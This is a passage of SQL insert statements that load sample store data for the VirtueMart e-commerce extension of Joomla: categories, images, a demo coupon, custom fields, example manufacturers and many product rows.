', '', '', '', 'women-clothes'); INSERT IGNORE INTO `#__virtuemart_category_categories` (`id`, `category_parent_id`, `category_child_id`, `ordering`) VALUES (1, 0, 1, 0), (2, 0, 2, 0), (3, 0, 3, 0), (4, 0, 4, 0), (5, 4, 5, 5), (6, 4, 6, 6), (7, 0, 7, 5), (8, 7, 8, 1), (9, 7, 9, 1); INSERT IGNORE INTO `#__virtuemart_category_medias` (`id`, `virtuemart_category_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 2, 1), (2, 2, 2, 1), (3, 3, 2, 1), (4, 4, 3, 1), (8, 7, 6, 1), (6, 6, 5, 1), (7, 5, 3, 1), (9, 8, 6, 1), (10, 9, 7, 1); INSERT IGNORE INTO `#__virtuemart_coupons` (`virtuemart_coupon_id`, `coupon_code`, `percent_or_total`, `coupon_type`, `coupon_value`, `coupon_start_date`, `coupon_expiry_date`, `coupon_value_valid`, `coupon_used`, `published`) VALUES (1, 'Sample Coupon', 'total', 'permanent', 0.01000, '0000-00-00 00:00:00', '2015-01-01 00:00:00', 0.00000, '0', 1); INSERT IGNORE INTO `#__virtuemart_customs` (`virtuemart_custom_id`, `custom_parent_id`, `virtuemart_vendor_id`, `custom_jplugin_id`, `custom_element`, `admin_only`, `custom_title`, `show_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `layout_pos`, `custom_params`, `shared`, `published`, `ordering`) VALUES (1, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 1, 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, NULL, NULL, 0, 1, 0), (2, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 1, 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, NULL, NULL, 0, 1, 0), (3, 0, 1, 0, '0', 0, 'Customfield String', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (4, 0, 1, 0, '0', 0, 'Customfield Textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (5, 0, 1, 0, '0', 0, 'Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (6, 5, 1, 0, '0', 0, 'Customfield Child String 1', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (7, 5, 1, 0, '0', 0, 'Customfield Child String 2', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (8, 5, 1, 0, '0', 0, 'Customfield Textarea Child', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (9, 0, 1, 0, '0', 0, 'Customfield Cart Variant', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (10, 0, 1, 0, '0', 0, 'Customfield Child Variant', 1, '', '', '', 'A', 0, 0, 1, '', '0', 0, 1, 0), (11, 0, 1, 0, '0', 0, 'Caps Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (12, 0, 1, 0, '0', 0, 'Cap Size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (13, 11, 1, 0, '0', 0, 'Cap Details', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (14, 11, 1, 0, '0', 0, 'Cap Components', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (15, 0, 1, 0, '0', 0, 'Clothing weave', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (16, 0, 1, 0, '0', 0, 'Clothing size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (17, 0, 1, 0, '0', 0, 'Clothing parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (18, 17, 1, 0, '0', 0, 'Clothing Composit', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (19, 17, 1, 0, '0', 0, 'Clothing textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0); INSERT IGNORE INTO `#__virtuemart_manufacturercategories` (`virtuemart_manufacturercategories_id`, `published`) VALUES (1, 1); INSERT IGNORE INTO `#__virtuemart_manufacturercategories_XLANG` (`virtuemart_manufacturercategories_id`, `mf_category_name`, `mf_category_desc`, `slug`) VALUES (1, 'default', 'This is the default manufacturer category ', 'default'); INSERT IGNORE INTO `#__virtuemart_manufacturers` (`virtuemart_manufacturer_id`, `virtuemart_manufacturercategories_id`, `hits`, `published`) VALUES (1, 1, 0, 1), (2, 1, 0, 1), (3, 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_manufacturers_XLANG` (`virtuemart_manufacturer_id`, `mf_name`, `mf_email`, `mf_desc`, `mf_url`, `slug`) VALUES (1, 'Manufacturer', 'manufacturer@example.org', '

An example for a manufacturer

', 'http://www.example.org', 'manufacturer'), (2, 'Default', 'example@manufacturer.net', '

Default manufacturer

', 'example.manufacturer.net', 'default'), (3, 'Producer', 'info@producer.com', '

An example for another manufacturer.

', 'producer.com', 'producer'); INSERT IGNORE INTO `#__virtuemart_manufacturer_medias` (`id`, `virtuemart_manufacturer_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 9, 1), (2, 2, 9, 1), (3, 3, 9, 1); INSERT IGNORE INTO `#__virtuemart_medias` (`virtuemart_media_id`, `virtuemart_vendor_id`, `file_title`, `file_description`, `file_meta`, `file_mimetype`, `file_type`, `file_url`, `file_url_thumb`, `file_is_product_image`, `file_is_downloadable`, `file_is_forSale`, `file_params`, `file_lang`, `shared`, `published`) VALUES (1, 1, 'vendor.gif', '', '', 'image/gif', 'vendor', 'images/stories/virtuemart/vendor/vendor.gif', '', 0, 0, 0, '', '', 0, 1), (2, 1, 'student_hat_16.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/student_hat_16.jpg', '', 0, 0, 0, '', '', 0, 1), (3, 1, 'hat_category8.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/hat_category8.jpg', '', 0, 0, 0, '', '', 0, 1), (5, 1, 'cap6.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/cap6.jpg', '', 0, 0, 0, '', '', 0, 1), (6, 1, 'jacket_classic7.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/jacket_classic7.jpg', '', 0, 0, 0, '', '', 0, 1), (7, 1, 'black_dress_2.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/black_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (8, 1, 'cart_logo.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cart_logo.jpg', '', 0, 0, 0, '', '', 0, 1), (9, 1, 'manufacturer.jpg', '', '', 'image/jpeg', 'manufacturer', 'images/stories/virtuemart/manufacturer/manufacturer.jpg', '', 0, 0, 0, '', '', 0, 1), (10, 1, 'classic_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/classic_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (11, 1, 'cowboy_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cowboy_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (12, 1, 'derbyhat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/derbyhat.jpg', '', 0, 0, 0, '', '', 0, 1), (13, 1, 'santa_cap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/santa_cap.jpg', '', 0, 0, 0, '', '', 0, 1), (14, 1, 'baseballcap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/baseballcap.jpg', '', 0, 0, 0, '', '', 0, 1), (15, 1, 'marinecap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/marinecap.jpg', '', 0, 0, 0, '', '', 0, 1), (16, 1, 'jumper.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jumper.jpg', '', 0, 0, 0, '', '', 0, 1), (17, 1, 'wide_dress_2.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/wide_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (18, 1, 'jacket_classic.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jacket_classic.jpg', '', 0, 0, 0, '', '', 0, 1), (19, 1, 'poncho.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/poncho.jpg', '', 0, 0, 0, '', '', 0, 1), (20, 1, 'dress.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/dress.jpg', '', 0, 0, 0, '', '', 0, 1); INSERT IGNORE INTO `#__virtuemart_products` (`virtuemart_product_id`, `virtuemart_vendor_id`, `product_parent_id`, `product_sku`, `product_weight`, `product_weight_uom`, `product_length`, `product_width`, `product_height`, `product_lwh_uom`, `product_url`, `product_in_stock`, `product_ordered`, `low_stock_notification`, `product_available_date`, `product_availability`, `product_special`, `product_sales`, `product_unit`, `product_packaging`, `product_params`, `hits`, `intnotes`, `metarobot`, `metaauthor`, `layout`, `published`, `pordering`, `created_on`, `created_by`, `modified_on`, `modified_by`) VALUES (1, 1, 0, '', 50.0000, 'KG', 45.0000, 5.0000, 5.0000, 'M', '', 78, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (2, 1, 0, '', 15.0000, 'KG', 10.0000, 25.0000, 10.0000, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (3, 1, 0, '', 0.1000, 'KG', 0.0100, 0.0100, 0.0300, 'M', '', 55, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (4, 1, 0, '', 1.0000, 'KG', 0.2000, 0.1000, 0.3000, 'M', '', 100, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (5, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.0300, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (6, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.3000, 'M', '', 50, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (7, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (8, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (9, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (10, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (11, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 150, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (12, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (13, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (14, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (15, 1, 0, '', 0.1000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (16, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (17, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (18, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (19, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (20, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (21, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (22, 1, 19, '', 4.0000, 'KG', 1.0000, 2.0000, 3.0000, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (23, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (24, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (25, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (26, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (27, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (28, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (29, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (30, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (31, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (32, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (33, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (34, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (35, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (36, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (37, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (38, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (39, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (40, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (41, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (42, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (43, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (44, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (45, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (46, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (47, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (48, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (49, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (50, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (51, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (52, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (53, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (54, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (55, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (56, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (57, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (58, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (59, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (60, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (61, 1, 60, '', 125.0000, 'G', 20.0000, 20.0000, 10.0000, 'CM', '', 35, 2, 5, '0000-00-00 00:00:00', '', 0, 0, '100G', 0.5000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (62, 1, 60, '', 150.0000, 'G', 35.0000, 30.0000, 15.0000, 'CM', '', 15, 1, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 